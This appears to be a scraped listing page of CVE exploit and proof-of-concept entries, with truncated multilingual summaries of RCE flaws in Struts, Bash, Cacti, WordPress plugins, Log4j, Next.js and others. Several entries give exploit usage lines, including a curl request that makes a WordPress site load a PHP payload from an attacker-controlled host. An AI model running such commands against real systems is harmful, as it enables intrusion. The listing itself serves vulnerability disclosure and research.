CVE-2026-81096 ToolUniverse through 1.2.6 Unauthenticated Remote Code Execution via python_code_executor Sandbox Escape

ToolUniverse ran caller-supplied Python inside a sandbox that could be escaped, on a server that required no authentication. The executor behind the pythoncodeexecutor tool, in pythonexecutortool.py, inspected the submitted source for a denied list of attribute names and calls but left the...

CVE-2026-81096

ToolUniverse through 1.2.6 contained an unauthenticated remote code execution flaw in its python_code_executor tool (python_executor_tool.py). The sandbox blocked a denied list of attribute names but left attribute-lookup builtins available, allowing an attacker to walk from a literal's class to ...

CVE-2017-5638

CVE-2017-5638 Le versioni di Apache Struts 2 2.3.x precedenti alla 2.3.32 e 2.5.x precedenti alla 2.5.10.1 presentano un difetto nel parser Jakarta Multipart. Questo difetto provoca una gestione errata delle eccezioni e la generazione di messaggi di errore quando si tenta di caricare file. Di...

CVE-2014-6271

CVE-2014-6271 Una vulnerabilità nota come "ShellShock" è presente in GNU Bash fino alla versione 4.3 a causa del modo in cui gestisce le stringhe finali nei valori delle variabili d'ambiente dopo le definizioni di funzione. Questa vulnerabilità consente ad attaccanti remoti di eseguire codice...

CVE-2020-14295

CVE-2020-14295 إثبات المفهوم لـ CVE-2020-14295. يمكن العثور على المنشور الأصلي على exploit-db. متطلبات التثبيت root@kitploit: python3 -m pip install -r requirements.txt الاستخدام root@kitploit: $ python3 cactisqlirce.py --help usage: cactisqlirce.py -h -t -u -p --lhost --lport Cacti 1.2.12 - SQL...

CVE-2019-0752

https://www.thezdi.com/blog/2019/5/21/rce-without-native-code-exploitation-of-a-write-what-where-in-internet-explorer PoC exploit per CVE-2019-0752 Prende di mira Internet Explorer 11 a 32 bit su Windows 10 x64 fino a RS4, RS5? Utilizza valori di indirizzo speciali oltre ad alcuni trucchi di...

CVE-2025-44608

CVE-2025-44608 CloudClassroom-PHP Project v1.0은 SQL Injection을 통한 RCE에 취약합니다. Vendor: https://github.com/mathurvishal/CloudClassroom-PHP-Project Software Link: https://github.com/mathurvishal/CloudClassroom-PHP-Project/archive/refs/heads/master.zip PoC Step 1: 영향을 받는 URL로 이동하여 ?viewid=1 매개변수에...

CVE-2026-80574

A flaw was found in the Linux kernel's focaltech input driver. This vulnerability occurs in the focaltechprocessrelpacket function, where incorrect handling of input can lead to an array out-of-bounds write. This memory corruption issue could potentially allow an attacker to cause system...

WSO2-CVE-2022-29464

WSO2 Carbon Server CVE-2022-29464 Bug RCE pre-autenticazione CVE-2022-29464. L'analisi tecnica completa sarà pubblicata nel mio articolo del blog: https://mr-r3bot.github.io Utilizzo root@kitploit: python exploit.py -u...

CVE-2021-44228-Apache-Log4j-Rce

Utilizzo: 1. Esecuzione di RMIServer 2. Esecuzione di Main...

CVE-2023-3519

CVE-2023-3519 Perché puoi eseguire PowerShell sul PC di tua mamma senza dover installare NMAP o PYTHON o dire a qualcuno che usi ARCH! ; x...

CVE-2019-9978

CVE-2019-9978 - Plugin Social Warfare WordPress RCE RCE no plugin Social Warfare WordPress sem qualquer autenticação prévia Prova de Conceito root@kitploit: curl http://127.0.0.1/wp-admin/admin-post.php?rce=id&swpdebug=loadoptions&swpurl=http://172.18.0.1:1337/exploit.php Código vulnerável :...

CVE-2019-9580

CVE-2019-9580 - StackStorm: Ausnutzung von CORS-null-Origin zur Erlangung von RCE Vor 2.10.3/2.9.3 wurde null zurückgegeben, wenn der Ursprung der Anfrage unbekannt war. null kann in manchen Clients zu einer erfolgreichen Anfrage von einem unbekannten Ursprung führen. Dies ermöglicht XSS-artige...

CVE-2019-5418

CVE-2019-5418 - Divulgazione del contenuto di file su Rails EDIT : questa CVE può portare a un'esecuzione remota di codice, maggiori info: https://github.com/mpgn/Rails-doubletap-RCE Esiste una possibile vulnerabilità di divulgazione del contenuto di file in Action View. Header Accept appositamen...

CVE-2018-19276

CVE-2018-19276 OpenMRS Deserializzazione non sicura di oggetti RCE Da https://talk.openmrs.org/t/critical-security-advisory-cve-2018-19276-2019-02-04/21607 La deserializzazione non sicura di oggetti consente l'esecuzione arbitraria di codice senza bisogno di accedere. Le restrizioni IP sul modulo...

CVE-2018-11686

CVE-2018-11686 CVE-2018-11686 - FlexPaper PHP Publish Service RCE = 2.3.6 gefunden von Red Timmy Security Technische Analyse: https://www.exploit-db.com/docs/english/46521-flexpaper-=-2.3.6-remote-code-execution-whitepaper.pdf Sicherheitshinweis: unbekannt Proof Of Concept: 1. Entfernen der...

CHECK-CVE-2025-55182-AND-CVE-2025-66478

CHECK-CVE-2025-55182-AND-CVE-2025-66478 Questo script rileva se un server è affetto dalle vulnerabilità RCE di RSC/Next.js CVE-2025-55182 e CVE-2025-66478. Controlla la risposta del server per firme di vulnerabilità specifiche. Queste firme dovrebbero essere specifiche secondo Searchlight Cyber...

CVE-2023-6553-PoC

CVE-2023-6553 PoC LFI a RCE Esecuzione remota di codice non autenticata in Backup Migration Plugin WordPress. Esecuzione root@kitploit: $ python exploit.py Il seguente script PHP viene eseguito. root@kitploit: out.txt; ? Riferimenti Trovata esecuzione remota di codice non autenticata critica nel...

CVE-2025-46157

CVE-2025-46157 – Timetrax V1 2025 Esecuzione di codice remoto ed elevazione dei privilegi Riepilogo È stata scoperta una vulnerabilità critica in Timetrax V1 2025 che consente agli utenti autenticati di aggirare le restrizioni sul caricamento dei file e ottenere esecuzione di codice remoto RCE. I...

cve-2025-55182-poc

CVE-2025-55182 React2Shell Lab zur Schwachstellenanalyse Dieses Repository enthält eine vollständige Umgebung zur Analyse und Reproduktion von CVE-2025-55182 , einer kritischen Remote Code Execution RCE-Schwachstelle in React Server Components RSC, die React 19.x und Next.js 15.x betrifft. ⚠️...